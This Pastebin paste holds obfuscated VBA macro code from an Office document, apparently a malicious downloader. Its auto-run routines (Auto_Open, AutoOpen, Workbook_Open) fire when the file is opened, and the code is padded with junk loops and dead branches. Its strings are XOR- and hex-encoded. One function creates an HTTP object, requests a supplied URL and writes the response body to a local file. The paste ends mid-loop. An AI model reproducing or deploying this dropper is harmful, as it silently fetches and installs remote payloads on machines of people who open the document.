Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Attribute VB_Name = "ThisDocument"
- Attribute VB_Base = "1Normal.ThisDocument"
- Attribute VB_GlobalNameSpace = False
- Attribute VB_Creatable = False
- Attribute VB_PredeclaredId = True
- Attribute VB_Exposed = True
- Attribute VB_TemplateDerived = True
- Attribute VB_Customizable = True
- Sub Auto_Open()
- Dim pDsIZiSs As Integer
- For pDsIZiSs = 0 To 7
- Dim XGgxgsRK As Integer
- If 913198 = 913198 + 1 Then End
- If 6145 < 93 Then
- MsgBox (XORI(HexToString("3A302C07202B341F4767"), HexToString("564A76517473")))
- End If
- If Len(XORI(HexToString("141A213E1B203103647C715F"), HexToString("425345496A4A55"))) = Len(XORI(HexToString("1B2D183A311C0F12"), HexToString("68654156766E"))) Then
- MsgBox (XORI(HexToString("303E101A3E42546D43"), HexToString("754C62")))
- End If
- XGgxgsRK = 7
- Do While XGgxgsRK < 79
- If 874488 = 874488 + 1 Then End
- If 8385 < 86 Then
- MsgBox (XORI(HexToString("301A1816392211177F42"), HexToString("6A74514C70")))
- End If
- If Len(XORI(HexToString("29382928121D2E3360404B70"), HexToString("59727846"))) = Len(XORI(HexToString("131A1B103F061907"), HexToString("616A6B696E"))) Then
- MsgBox (XORI(HexToString("142B313F3D46707862"), HexToString("515943504F66")))
- End If
- DoEvents: XGgxgsRK = XGgxgsRK + 1
- If 456718 = 456718 + 1 Then End
- If 7257 < 47 Then
- MsgBox (XORI(HexToString("2B250E3835193F21705B"), HexToString("6C6443")))
- End If
- If Len(XORI(HexToString("332414362A111D194D525441"), HexToString("4A756365796267"))) = Len(XORI(HexToString("1D1725031B0C1F19"), HexToString("715A6D4C"))) Then
- MsgBox (XORI(HexToString("2B043B04374A4F5768"), HexToString("6E76496B456A")))
- End If
- Loop
- If 982491 = 982491 + 1 Then End
- If 9566 < 98 Then
- MsgBox (XORI(HexToString("15350C292C310E36555F"), HexToString("5A7A616C6678")))
- End If
- If Len(XORI(HexToString("2E200E1E20192A1F49775F4E"), HexToString("446E78"))) = Len(XORI(HexToString("0920201B350F0A15"), HexToString("7A4C637279"))) Then
- MsgBox (XORI(HexToString("0F1A11293A6A494267"), HexToString("4A68634648")))
- End If
- DoEvents
- Next pDsIZiSs
- Dim RFltRZzl As Integer
- If 292583 = 292583 + 1 Then End
- If 2822 < 59 Then
- MsgBox (XORI(HexToString("300D2E262318240C467B"), HexToString("754E564B")))
- End If
- If Len(XORI(HexToString("092E213D3D0A05225E5B5A43"), HexToString("6D6D6C70"))) = Len(XORI(HexToString("2E31251D3B153D01"), HexToString("687046"))) Then
- MsgBox (XORI(HexToString("23041E09044C47574D"), HexToString("66766C")))
- End If
- RFltRZzl = 6
- Do While RFltRZzl < 49
- If 963732 = 963732 + 1 Then End
- If 6486 < 67 Then
- MsgBox (XORI(HexToString("343D330F060E30155374"), HexToString("6745694D")))
- End If
- If Len(XORI(HexToString("3D2B12261F25353D75415A41"), HexToString("736842726977"))) = Len(XORI(HexToString("2718131528020A27"), HexToString("70706364444D"))) Then
- MsgBox (XORI(HexToString("072708360362506374"), HexToString("42557A59714271")))
- End If
- DoEvents: RFltRZzl = RFltRZzl + 1
- If 645238 = 645238 + 1 Then End
- If 6358 < 94 Then
- MsgBox (XORI(HexToString("2A02302E0D281F055F4B"), HexToString("687A7754")))
- End If
- If Len(XORI(HexToString("161E3D291F1B1E345441776C"), HexToString("4E54506373"))) = Len(XORI(HexToString("3F1F263E193D2D11"), HexToString("4F516178"))) Then
- MsgBox (XORI(HexToString("0D2B37272B65697864"), HexToString("485945")))
- End If
- Loop
- If 978733 = 978733 + 1 Then End
- If 6535 < 68 Then
- MsgBox (XORI(HexToString("272E06362F213F3D5675"), HexToString("656D62474343")))
- End If
- If Len(XORI(HexToString("050818333025162445627F44"), HexToString("47726B7256"))) = Len(XORI(HexToString("240E12301E3B1701"), HexToString("6979424577"))) Then
- MsgBox (XORI(HexToString("3C163F260A72685845"), HexToString("79644D49785249")))
- End If
- GZQXNGNMUTV
- End Sub
- Sub AutoOpen()
- Dim nHNAhMYm As Integer
- For nHNAhMYm = 0 To 7
- Dim IliBdOlk As Integer
- If 884677 = 884677 + 1 Then End
- If 8743 < 54 Then
- MsgBox (XORI(HexToString("3E0913302D2A3E2E7F41"), HexToString("4D51464674")))
- End If
- If Len(XORI(HexToString("370E16213C1B172E42765546"), HexToString("476470"))) = Len(XORI(HexToString("3D0E2532272B330C"), HexToString("6C436F7353"))) Then
- MsgBox (XORI(HexToString("010A22221966655971"), HexToString("4478504D6B46")))
- End If
- IliBdOlk = 4
- Do While IliBdOlk < 17
- If 722174 = 722174 + 1 Then End
- If 2656 < 44 Then
- MsgBox (XORI(HexToString("08060B0325072A0B415D"), HexToString("6B6773")))
- End If
- If Len(XORI(HexToString("3C1F10280D3E15034479785F"), HexToString("4A66687141"))) = Len(XORI(HexToString("032235231F02372D"), HexToString("5A6F476275"))) Then
- MsgBox (XORI(HexToString("2038213C176A727244"), HexToString("654A5353")))
- End If
- DoEvents: IliBdOlk = IliBdOlk + 1
- If 162279 = 162279 + 1 Then End
- If 8116 < 46 Then
- MsgBox (XORI(HexToString("29112F2D0E033D267179"), HexToString("514841486D7A79")))
- End If
- If Len(XORI(HexToString("270C0E2D310318267F5F764D"), HexToString("52554D6C4174"))) = Len(XORI(HexToString("053E070B22242605"), HexToString("4C4E69"))) Then
- MsgBox (XORI(HexToString("15161C26246A71454F"), HexToString("50646E49564A")))
- End If
- Loop
- If 254427 = 254427 + 1 Then End
- If 8383 < 86 Then
- MsgBox (XORI(HexToString("061E2A001B0B0030627B"), HexToString("5174735442")))
- End If
- If Len(XORI(HexToString("2A012C2E27290C1070587E66"), HexToString("45496A4A554F68"))) = Len(XORI(HexToString("3326120B151A2301"), HexToString("415676"))) Then
- MsgBox (XORI(HexToString("2F073E0D18556D434B"), HexToString("6A754C62")))
- End If
- DoEvents
- Next nHNAhMYm
- Dim rKbTlhRf As Integer
- If 267289 = 267289 + 1 Then End
- If 6362 < 28 Then
- MsgBox (XORI(HexToString("3E2D1F363E1216287558"), HexToString("6A74514C7059727846")))
- End If
- If Len(XORI(HexToString("39222A1914101C08677E5452"), HexToString("616A6B696E515943504F66"))) = Len(XORI(HexToString("0F093732052D1F1B"), HexToString("6C64434A756365796267"))) Then
- MsgBox (XORI(HexToString("34281F231C56684A64"), HexToString("715A6D4C6E76496B456A")))
- End If
- rKbTlhRf = 1
- Do While rKbTlhRf < 53
- If 274343 = 274343 + 1 Then End
- If 2385 < 41 Then
- MsgBox (XORI(HexToString("163B280F133C302C4E68"), HexToString("5A7A616C6678446E78")))
- End If
- If Len(XORI(HexToString("1406320A113F2609737D4F74"), HexToString("7A4C6372794A68634648"))) = Len(XORI(HexToString("3A1A3A20293B3D1A"), HexToString("754E564B6D6D6C70"))) Then
- MsgBox (XORI(HexToString("2D023409044C495167"), HexToString("68704666766C")))
- End If
- DoEvents: rKbTlhRf = rKbTlhRf + 1
- If 182362 = 182362 + 1 Then End
- If 4523 < 91 Then
- MsgBox (XORI(HexToString("100F0B381A0F212B5B43"), HexToString("6745694D736842726977")))
- End If
- If Len(XORI(HexToString("230A02022B1B06124D6E4974"), HexToString("70706364444D42557A59714271"))) = Len(XORI(HexToString("0E2E2515242C3414"), HexToString("687A77544E54506373"))) Then
- MsgBox (XORI(HexToString("0A2313173A79646E70"), HexToString("4F516178485945")))
- End If
- Loop
- If 832229 = 832229 + 1 Then End
- If 2377 < 26 Then
- MsgBox (XORI(HexToString("292C36082912001B5845"), HexToString("656D6247434347726B7256")))
- End If
- If Len(XORI(HexToString("0D01202E2015020B7A4A617E"), HexToString("697942457779644D49785249"))) = Len(XORI(HexToString("3A202F2218373234"), HexToString("4D51464674476470"))) Then
- MsgBox (XORI(HexToString("29311D1C216459716C"), HexToString("6C436F73534478504D6B46")))
- End If
- Auto_Open
- End Sub
- Sub Workbook_Open()
- Dim rlAwdhQo As Integer
- For rlAwdhQo = 0 To 9
- Dim COFnbjyH As Integer
- If 265281 = 265281 + 1 Then End
- If 6342 < 28 Then
- MsgBox (XORI(HexToString("3F2E35040D190B0E5A5F"), HexToString("6B67734A66687141")))
- End If
- If Len(XORI(HexToString("02232F171928261864685675"), HexToString("5A6F476275654A5353"))) = Len(XORI(HexToString("2132113A3B2F1523"), HexToString("514841486D7A79676A61"))) Then
- MsgBox (XORI(HexToString("0A3A0035116F69537B"), HexToString("4F48725A63")))
- End If
- COFnbjyH = 7
- Do While COFnbjyH < 78
- If 698662 = 698662 + 1 Then End
- If 6528 < 68 Then
- MsgBox (XORI(HexToString("3122170E25362E2A7365"), HexToString("5A64724251")))
- End If
- If Len(XORI(HexToString("1338190C37192820667E5B7E"), HexToString("514A6C47"))) = Len(XORI(HexToString("25283C2B243C0811"), HexToString("695068535177"))) Then
- MsgBox (XORI(HexToString("2C11071D3D4B684842"), HexToString("696375724F6B49")))
- End If
- DoEvents: COFnbjyH = COFnbjyH + 1
- If 516725 = 516725 + 1 Then End
- If 8757 < 53 Then
- MsgBox (XORI(HexToString("3B3B2C2E3E2038245C79"), HexToString("7749616F4A")))
- End If
- If Len(XORI(HexToString("37012D0C3C1508097A737651"), HexToString("47665A4345"))) = Len(XORI(HexToString("17001111212E1125"), HexToString("464B5349"))) Then
- MsgBox (XORI(HexToString("3D0A052E0A58566059"), HexToString("78787741")))
- End If
- Loop
- If 665192 = 665192 + 1 Then End
- If 7283 < 99 Then
- MsgBox (XORI(HexToString("0B000002232901345C68"), HexToString("666D5164647377")))
- End If
- If Len(XORI(HexToString("0800203D1E253D3E687C4766"), HexToString("7250665948"))) = Len(XORI(HexToString("2B3F163E382C3904"), HexToString("734D7074"))) Then
- MsgBox (XORI(HexToString("001C330E1362644F60"), HexToString("456E41616142")))
- End If
- DoEvents
- Next rlAwdhQo
- Dim kfOKsWyT As Integer
- If 134677 = 134677 + 1 Then End
- If 1244 < 44 Then
- MsgBox (XORI(HexToString("34150739391906356041"), HexToString("56795278556E")))
- End If
- If Len(XORI(HexToString("163D15213C271D14417A4D65"), HexToString("6E79734B7551"))) = Len(XORI(HexToString("1C091B3C173D3729"), HexToString("4C514E5A71"))) Then
- MsgBox (XORI(HexToString("083C231903736C6F70"), HexToString("4D4E51767153")))
- End If
- kfOKsWyT = 1
- Do While kfOKsWyT < 15
- If 142431 = 142431 + 1 Then End
- If 7263 < 75 Then
- MsgBox (XORI(HexToString("381D27293B363B267D5A"), HexToString("4248626A5A457A")))
- End If
- If Len(XORI(HexToString("03172A120E08371C4E724B77"), HexToString("79446F7643"))) = Len(XORI(HexToString("2D0D3031041E2517"), HexToString("75744A7A427453"))) Then
- MsgBox (XORI(HexToString("242B351A3D41786654"), HexToString("615947754F")))
- End If
- DoEvents: kfOKsWyT = kfOKsWyT + 1
- If 774442 = 774442 + 1 Then End
- If 7651 < 32 Then
- MsgBox (XORI(HexToString("030D11372C0030206D70"), HexToString("774B55444371")))
- End If
- If Len(XORI(HexToString("280E0135240507036A54547E"), HexToString("52616D4F"))) = Len(XORI(HexToString("1C3E1C293815060F"), HexToString("4E6D44"))) Then
- MsgBox (XORI(HexToString("013004213948706563"), HexToString("4442764E4B6851")))
- End If
- Loop
- If 416577 = 416577 + 1 Then End
- If 1823 < 12 Then
- MsgBox (XORI(HexToString("1E0D152B09230E26485C"), HexToString("696570")))
- End If
- If Len(XORI(HexToString("3F131F073F200A3C505E7444"), HexToString("4864656F4C73"))) = Len(XORI(HexToString("06143425033B311C"), HexToString("6C525A727A7055"))) Then
- MsgBox (XORI(HexToString("143D262A0B664B706E"), HexToString("514F544579466A")))
- End If
- Auto_Open
- End Sub
- Function RGULTDVHYVP(ByVal HJNRBWNZOJU As String, ByVal AKFQBNJCZGL As String) As Boolean
- Dim LHKDBMKRMVZ As Object, CFZSBZFQHFL As Long, XGJFDCHXVVI As Long, WXGHYUAPXWY() As Byte
- Dim jCKfgmPh As Integer
- For jCKfgmPh = 0 To 7
- Dim YRqYDPvh As Integer
- If 344698 = 344698 + 1 Then End
- If 9939 < 65 Then
- MsgBox (XORI(HexToString("2334003125203E346165"), HexToString("764C50534A6A")))
- End If
- If Len(XORI(HexToString("1A1A241D3F3F261165795E62"), HexToString("7162514B6756"))) = Len(XORI(HexToString("2E0D0427352D0E27"), HexToString("626C54544774"))) Then
- MsgBox (XORI(HexToString("343620162363665065"), HexToString("71445279514347")))
- End If
- YRqYDPvh = 4
- Do While YRqYDPvh < 19
- If 955332 = 955332 + 1 Then End
- If 6492 < 67 Then
- MsgBox (XORI(HexToString("073F033A17083F08796D"), HexToString("54524C")))
- End If
- If Len(XORI(HexToString("03351F171936141E63504C66"), HexToString("627854"))) = Len(XORI(HexToString("2E132C1A34271527"), HexToString("79754649"))) Then
- MsgBox (XORI(HexToString("310737213B4D625554"), HexToString("7475454E496D43")))
- End If
- DoEvents: YRqYDPvh = YRqYDPvh + 1
- If 776841 = 776841 + 1 Then End
- If 7665 < 17 Then
- MsgBox (XORI(HexToString("041A0E233C2229247170"), HexToString("70494373596768")))
- End If
- If Len(XORI(HexToString("2C05241B11023F21775F6779"), HexToString("6B564F"))) = Len(XORI(HexToString("2B2500003106133B"), HexToString("414D4D63676A61"))) Then
- MsgBox (XORI(HexToString("0A3A0035117A455363"), HexToString("4F48725A635A64724251")))
- End If
- Loop
- If 227257 = 227257 + 1 Then End
- If 9921 < 83 Then
- MsgBox (XORI(HexToString("13043A2B2F0901156641"), HexToString("514A6C47695068535177")))
- End If
- If Len(XORI(HexToString("0D0100133C0721157859587B"), HexToString("696375724F6B497749616F4A"))) = Len(XORI(HexToString("322A0E173C250E17"), HexToString("47665A4345464B5349"))) Then
- MsgBox (XORI(HexToString("3D0A052E144D704545"), HexToString("78787741666D5164647377")))
- End If
- DoEvents
- Next jCKfgmPh
- Dim EMWMaGTP As Integer
- If 583923 = 583923 + 1 Then End
- If 8629 < 52 Then
- MsgBox (XORI(HexToString("2508321F2E2300034247"), HexToString("7250665948734D7074")))
- End If
- If Len(XORI(HexToString("36173439062E261461406D5D"), HexToString("456E4161614256795278556E"))) = Len(XORI(HexToString("2A293C24161A0330"), HexToString("6E79734B75514C514E5A71"))) Then
- MsgBox (XORI(HexToString("083C23190373636943"), HexToString("4D4E517671534248626A5A457A")))
- End If
- EMWMaGTP = 6
- Do While EMWMaGTP < 93
- If 376554 = 376554 + 1 Then End
- If 6729 < 61 Then
- MsgBox (XORI(HexToString("11060A382F1B31294D70"), HexToString("79446F764375744A7A427453")))
- End If
- If Len(XORI(HexToString("223E3E37153B291273754650"), HexToString("615947754F774B55444371"))) = Len(XORI(HexToString("2C26132100303C24"), HexToString("666F416477"))) Then
- MsgBox (XORI(HexToString("3F20171520455B7344"), HexToString("7A5265")))
- End If
- DoEvents: EMWMaGTP = EMWMaGTP + 1
- If 919488 = 919488 + 1 Then End
- If 4785 < 93 Then
- MsgBox (XORI(HexToString("2330113E37043A0E7855"), HexToString("4F496259766670")))
- End If
- If Len(XORI(HexToString("3D2C102D2B1D31046240477C"), HexToString("7244545571"))) = Len(XORI(HexToString("31172D3B130F1E01"), HexToString("425A476B"))) Then
- MsgBox (XORI(HexToString("221F342136474C676F"), HexToString("676D464E44")))
- End If
- Loop
- If 376754 = 376754 + 1 Then End
- If 6722 < 61 Then
- MsgBox (XORI(HexToString("0D2B2A163F0703315553"), HexToString("656564")))
- End If
- If Len(XORI(HexToString("102436231D19231A64657A60"), HexToString("534C53"))) = Len(XORI(HexToString("1303202335012910"), HexToString("594A616467"))) Then
- MsgBox (XORI(HexToString("32133700197A555640"), HexToString("7761456F6B5A74")))
- End If
- Set LHKDBMKRMVZ = CreateObject(XORI(HexToString("2F3C212F234B4C37342E272D363F"), HexToString("626F79")))
- LHKDBMKRMVZ.Open XORI(HexToString("2F1013"), HexToString("685547")), HJNRBWNZOJU, False
- Dim XhdIgGkC As Integer
- For XhdIgGkC = 0 To 4
- Dim ikHqHtQl As Integer
- If 564721 = 564721 + 1 Then End
- If 3221 < 97 Then
- MsgBox (XORI(HexToString("061E2F1F2B123320527D"), HexToString("455166")))
- End If
- If Len(XORI(HexToString("3C1F2D0F2F103F3162415153"), HexToString("655054756967"))) = Len(XORI(HexToString("1A14051433010925"), HexToString("73704C"))) Then
- MsgBox (XORI(HexToString("033E3A293E68676D69"), HexToString("464C48")))
- End If
- ikHqHtQl = 2
- Do While ikHqHtQl < 57
- If 458961 = 458961 + 1 Then End
- If 1338 < 96 Then
- MsgBox (XORI(HexToString("25052D3C130922235571"), HexToString("516D4849526351")))
- End If
- If Len(XORI(HexToString("3C2132101235050464616851"), HexToString("5069435650"))) = Len(XORI(HexToString("0A1A39183503390F"), HexToString("6C757674796A"))) Then
- MsgBox (XORI(HexToString("2F3C10053C424B6F43"), HexToString("6A4E62")))
- End If
- DoEvents: ikHqHtQl = ikHqHtQl + 1
- If 147278 = 147278 + 1 Then End
- If 1388 < 45 Then
- MsgBox (XORI(HexToString("1317033F2E2135334540"), HexToString("717477")))
- End If
- If Len(XORI(HexToString("2100142429051F147C51667E"), HexToString("4E635546"))) = Len(XORI(HexToString("202B192113190703"), HexToString("704A6D72"))) Then
- MsgBox (XORI(HexToString("15190A032359714A59"), HexToString("506B786C5179")))
- End If
- Loop
- If 288744 = 288744 + 1 Then End
- If 8646 < 89 Then
- MsgBox (XORI(HexToString("182F1D2D003B3B194056"), HexToString("54766475676B4B")))
- End If
- If Len(XORI(HexToString("1E042F03240922144E457170"), HexToString("77714946"))) = Len(XORI(HexToString("03331C1005152B1A"), HexToString("79514F"))) Then
- MsgBox (XORI(HexToString("131C31363E75774F62"), HexToString("566E43594C55")))
- End If
- DoEvents
- Next XhdIgGkC
- Dim hnEdVCfc As Integer
- If 488993 = 488993 + 1 Then End
- If 7579 < 41 Then
- MsgBox (XORI(HexToString("2A1C3A3E191F1A325B64"), HexToString("6E51537A")))
- End If
- If Len(XORI(HexToString("281C190F331C1C0C596E7678"), HexToString("5A6856424B4C4A"))) = Len(XORI(HexToString("393A1E0C26180E27"), HexToString("6D737A657271"))) Then
- MsgBox (XORI(HexToString("0E3F370A064C6A6C64"), HexToString("4B4D4565746C")))
- End If
- hnEdVCfc = 3
- Do While hnEdVCfc < 79
- If 969433 = 969433 + 1 Then End
- If 3658 < 31 Then
- MsgBox (XORI(HexToString("0A0B0D0E271A34127250"), HexToString("44466143485652")))
- End If
- If Len(XORI(HexToString("1B1E0D04323D01047B6C7F57"), HexToString("4E6E6E4F59"))) = Len(XORI(HexToString("0D2213093D0C3338"), HexToString("4C674B6A"))) Then
- MsgBox (XORI(HexToString("27303F282842636C66"), HexToString("62424D475A")))
- End If
- DoEvents: hnEdVCfc = hnEdVCfc + 1
- If 911898 = 911898 + 1 Then End
- If 4719 < 93 Then
- MsgBox (XORI(HexToString("0B352D35120020006B50"), HexToString("664F5A66626E")))
- End If
- If Len(XORI(HexToString("02052021382315285B706452"), HexToString("5361636C49"))) = Len(XORI(HexToString("0C2232231C3D2F26"), HexToString("686A505670"))) Then
- MsgBox (XORI(HexToString("28203C213F4D736F6F"), HexToString("6D524E4E4D")))
- End If
- Loop
- If 265343 = 265343 + 1 Then End
- If 5618 < 41 Then
- MsgBox (XORI(HexToString("2A1D1D203D08021B7264"), HexToString("434A5168484751")))
- End If
- If Len(XORI(HexToString("1739240C0717192F517F5A55"), HexToString("5048674A6F6D"))) = Len(XORI(HexToString("19212326361C0613"), HexToString("4964544A596951"))) Then
- MsgBox (XORI(HexToString("013714003344566564"), HexToString("4445666F416477")))
- End If
- LHKDBMKRMVZ.Send XORI(HexToString("09"), HexToString("7A52654F496259766670"))
- Dim tlxBJOui As Integer
- For tlxBJOui = 0 To 5
- Dim xPfwAzIg As Integer
- If 963951 = 963951 + 1 Then End
- If 6223 < 37 Then
- MsgBox (XORI(HexToString("150B0D123D153C365C4A"), HexToString("7244545571425A476B")))
- End If
- If Len(XORI(HexToString("3122342910140E055E597E78"), HexToString("676D464E44656564"))) = Len(XORI(HexToString("31280A3717213820"), HexToString("534C536D516E72756C"))) Then
- MsgBox (XORI(HexToString("2B2131161C684F7262"), HexToString("6E5343796E48")))
- End If
- xPfwAzIg = 2
- Do While xPfwAzIg < 67
- If 185345 = 185345 + 1 Then End
- If 8792 < 71 Then
- MsgBox (XORI(HexToString("24121C1414183A034045"), HexToString("6F434D7676")))
- End If
- If Len(XORI(HexToString("20071E2C352733276B604360"), HexToString("557652"))) = Len(XORI(HexToString("153018252A171A20"), HexToString("746273"))) Then
- MsgBox (XORI(HexToString("2C3A05063A57486956"), HexToString("694877")))
- End If
- DoEvents: xPfwAzIg = xPfwAzIg + 1
- If 474812 = 474812 + 1 Then End
- If 4645 < 78 Then
- MsgBox (XORI(HexToString("2A000A1508252B205B72"), HexToString("6E46435A")))
- End If
- If Len(XORI(HexToString("372722070D100D1D5D596C54"), HexToString("546156686C"))) = Len(XORI(HexToString("173A2E0804261D11"), HexToString("555167706B"))) Then
- MsgBox (XORI(HexToString("200523041774445670"), HexToString("6577516B6554")))
- End If
- Loop
- If 832528 = 832528 + 1 Then End
- If 6173 < 54 Then
- MsgBox (XORI(HexToString("1C3D3F033F042522784F"), HexToString("4949474C78")))
- End If
- If Len(XORI(HexToString("2F373B071E3A2E294F5B5D5B"), HexToString("78636F6F"))) = Len(XORI(HexToString("0F1D313504190C22"), HexToString("484B436271"))) Then
- MsgBox (XORI(HexToString("1633363C3364726065"), HexToString("534144")))
- End If
- DoEvents
- Next tlxBJOui
- Dim lBVOGyGI As Integer
- If 812655 = 812655 + 1 Then End
- If 2817 < 84 Then
- MsgBox (XORI(HexToString("3030310A33190B157C64"), HexToString("41455364794C79")))
- End If
- If Len(XORI(HexToString("0C0109030600040C7B5B5F7B"), HexToString("4D6A684A"))) = Len(XORI(HexToString("2C222B0E28323534"), HexToString("49757959"))) Then
- MsgBox (XORI(HexToString("0F36243C036A657772"), HexToString("4A44565371")))
- End If
- lBVOGyGI = 2
- Do While lBVOGyGI < 59
- If 544781 = 544781 + 1 Then End
- If 8492 < 88 Then
- MsgBox (XORI(HexToString("312A101B24323B246353"), HexToString("6B635A6B4250")))
- End If
- If Len(XORI(HexToString("353F0A2E22221E34635A7273"), HexToString("5A694741"))) = Len(XORI(HexToString("15260423252B2A20"), HexToString("674D68"))) Then
- MsgBox (XORI(HexToString("30192235074B717B54"), HexToString("756B505A")))
- End If
- DoEvents: lBVOGyGI = lBVOGyGI + 1
- If 585256 = 585256 + 1 Then End
- If 9552 < 51 Then
- MsgBox (XORI(HexToString("012E3622290A3537524E"), HexToString("59647A474E7346")))
- End If
- If Len(XORI(HexToString("31380E231A12182D6045676F"), HexToString("5559625372"))) = Len(XORI(HexToString("3C3E123719371B02"), HexToString("7A6A51546F51"))) Then
- MsgBox (XORI(HexToString("2F153D0C3062454B46"), HexToString("6A674F63424264")))
- End If
- Loop
- If 568872 = 568872 + 1 Then End
- If 8644 < 89 Then
- MsgBox (XORI(HexToString("162612361320323F4B55"), HexToString("7861745A")))
- End If
- If Len(XORI(HexToString("2609250B3A023F2258607644"), HexToString("4F704F6154"))) = Len(XORI(HexToString("2C052B363A3D2027"), HexToString("5673636E"))) Then
- MsgBox (XORI(HexToString("353320080261734651"), HexToString("70415267")))
- End If
- WXGHYUAPXWY = LHKDBMKRMVZ.responseBody
- Dim DlnUuNRO As Integer
- For DlnUuNRO = 0 To 9
- Dim nfqYQLHG As Integer
- If 212685 = 212685 + 1 Then End
- If 8611 < 52 Then
- MsgBox (XORI(HexToString("2A0F27303E2930224949"), HexToString("707A5152")))
- End If
- If Len(XORI(HexToString("04113201180D1D2870734050"), HexToString("77646A434B"))) = Len(XORI(HexToString("2333150531093037"), HexToString("6762636166"))) Then
- MsgBox (XORI(HexToString("14170739274C437044"), HexToString("51657556556C62")))
- End If
- nfqYQLHG = 5
- Do While nfqYQLHG < 96
- If 192745 = 192745 + 1 Then End
- If 7765 < 71 Then
- MsgBox (XORI(HexToString("1E333D18103F22116761"), HexToString("557551")))
- End If
- If Len(XORI(HexToString("0F0E0C1C061E2C004A5E485F"), HexToString("7A69567268"))) = Len(XORI(HexToString("0C22071F3E393E1E"), HexToString("6D776666525274"))) Then
- MsgBox (XORI(HexToString("0A03381F3C6F506B51"), HexToString("4F714A704E")))
- End If
- DoEvents: nfqYQLHG = nfqYQLHG + 1
- If 965559 = 965559 + 1 Then End
- If 9552 < 36 Then
- MsgBox (XORI(HexToString("1A322C1A090702365540"), HexToString("726664")))
- End If
- If Len(XORI(HexToString("3E392D34130E201E5C7A4276"), HexToString("706D4973444A46"))) = Len(XORI(HexToString("28050D23221D101C"), HexToString("696A4546506E54"))) Then
- MsgBox (XORI(HexToString("0806333C106D556072"), HexToString("4D74415362")))
- End If
- Loop
- If 682894 = 682894 + 1 Then End
- If 3667 < 39 Then
- MsgBox (XORI(HexToString("090F0D230B0F2C316857"), HexToString("655A615964")))
- End If
- If Len(XORI(HexToString("1226321B1C2F1E3847617762"), HexToString("474F73544555"))) = Len(XORI(HexToString("38123D3314022B2D"), HexToString("625373557A6B67"))) Then
- MsgBox (XORI(HexToString("2A1424040744424E47"), HexToString("6F66566B756463")))
- End If
- DoEvents
- Next DlnUuNRO
- Dim piSRwsbc As Integer
- If 638337 = 638337 + 1 Then End
- If 9973 < 65 Then
- MsgBox (XORI(HexToString("220E03390F060C2A5343"), HexToString("43647A4C61485A")))
- End If
- If Len(XORI(HexToString("3B1E31051421361A50506158"), HexToString("50706462556E"))) = Len(XORI(HexToString("0B1032121711060B"), HexToString("47644248"))) Then
- MsgBox (XORI(HexToString("0A201A2C366F734962"), HexToString("4F52684344")))
- End If
- piSRwsbc = 2
- Do While piSRwsbc < 65
- If 618387 = 618387 + 1 Then End
- If 8248 < 85 Then
- MsgBox (XORI(HexToString("053E06011C171911477E"), HexToString("5152764B6579")))
- End If
- If Len(XORI(HexToString("3F0801381623272B785E4849"), HexToString("4C416770716F74"))) = Len(XORI(HexToString("2C071A2E091F173C"), HexToString("596649"))) Then
- MsgBox (XORI(HexToString("101E021C186978744D"), HexToString("556C70736A4959")))
- End If
- DoEvents: piSRwsbc = piSRwsbc + 1
- If 147412 = 147412 + 1 Then End
- If 5174 < 16 Then
- MsgBox (XORI(HexToString("230A0E20192215305B5A"), HexToString("41696B46696D41")))
- End If
- If Len(XORI(HexToString("2E213524073C31185F674067"), HexToString("667467537450"))) = Len(XORI(HexToString("192A182A0B0C1E17"), HexToString("725971636746"))) Then
- MsgBox (XORI(HexToString("371E361D1E64534D65"), HexToString("726C44")))
- End If
- Loop
- If 354162 = 354162 + 1 Then End
- If 6596 < 69 Then
- MsgBox (XORI(HexToString("3D33010F000701197B72"), HexToString("5174524A46")))
- End If
- If Len(XORI(HexToString("270C1B1D13050C194F677366"), HexToString("69785347506E69"))) = Len(XORI(HexToString("030328212B2A2616"), HexToString("4E754F546352"))) Then
- MsgBox (XORI(HexToString("033537251A6666646B"), HexToString("4647454A68")))
- End If
- XGJFDCHXVVI = FreeFile
- Open AKFQBNJCZGL For Binary As #XGJFDCHXVVI
- Dim wxoNzdGt As Integer
- For wxoNzdGt = 0 To 6
- Dim eNKuaZpx As Integer
- If 916865 = 916865 + 1 Then End
- If 7652 < 42 Then
- MsgBox (XORI(HexToString("1A143B3C150E002F4E52"), HexToString("76616D6D")))
- End If
- If Len(XORI(HexToString("343C172A1F243F3C6B57747F"), HexToString("46497A5A6F"))) = Len(XORI(HexToString("0529143212140714"), HexToString("517942"))) Then
- MsgBox (XORI(HexToString("3C312322056A4B5862"), HexToString("7943514D774A6A")))
- End If
- eNKuaZpx = 1
- Do While eNKuaZpx < 44
- If 982834 = 982834 + 1 Then End
- If 6667 < 69 Then
- MsgBox (XORI(HexToString("1B0A0B38190F0F095279"), HexToString("4A5366")))
- End If
- If Len(XORI(HexToString("2C323F27313A332352436440"), HexToString("624765775677"))) = Len(XORI(HexToString("1D0730063827393E"), HexToString("5069516E51696F"))) Then
- MsgBox (XORI(HexToString("333F1105046D424B57"), HexToString("764D636A")))
- End If
- DoEvents: eNKuaZpx = eNKuaZpx + 1
- If 337697 = 337697 + 1 Then End
- If 3273 < 63 Then
- MsgBox (XORI(HexToString("253828091C3F1D03416B"), HexToString("75524D71")))
- End If
- If Len(XORI(HexToString("360C1B1F17373F0B6E574A74"), HexToString("5A667947"))) = Len(XORI(HexToString("351C34261B12373F"), HexToString("6251515661"))) Then
- MsgBox (XORI(HexToString("1728033E2247737B50"), HexToString("525A71515067")))
- End If
- Loop
- If 137848 = 137848 + 1 Then End
- If 7127 < 74 Then
- MsgBox (XORI(HexToString("12232736100E2B226446"), HexToString("5A517053787664")))
- End If
- If Len(XORI(HexToString("1931362736082B045B6B5E45"), HexToString("6D635368726161"))) = Len(XORI(HexToString("0F2C392D35203F18"), HexToString("4D6F784A6C46"))) Then
- MsgBox (XORI(HexToString("0C101F0D3B424C4368"), HexToString("49626D62")))
- End If
- DoEvents
- Next wxoNzdGt
- Dim GnzkNJON As Integer
- If 638237 = 638237 + 1 Then End
- If 9973 < 65 Then
- MsgBox (XORI(HexToString("33031D203C1E31015C51"), HexToString("526B68456F7945")))
- End If
- If Len(XORI(HexToString("260A2C0B041B13324E707952"), HexToString("4D64657A42"))) = Len(XORI(HexToString("2522002A280E2411"), HexToString("695073497076"))) Then
- MsgBox (XORI(HexToString("143E00011C4D706D53"), HexToString("514C726E6E6D")))
- End If
- GnzkNJON = 6
- Do While GnzkNJON < 95
- If 669893 = 669893 + 1 Then End
- If 9653 < 99 Then
- MsgBox (XORI(HexToString("2C19092F19112D025164"), HexToString("63556347")))
- End If
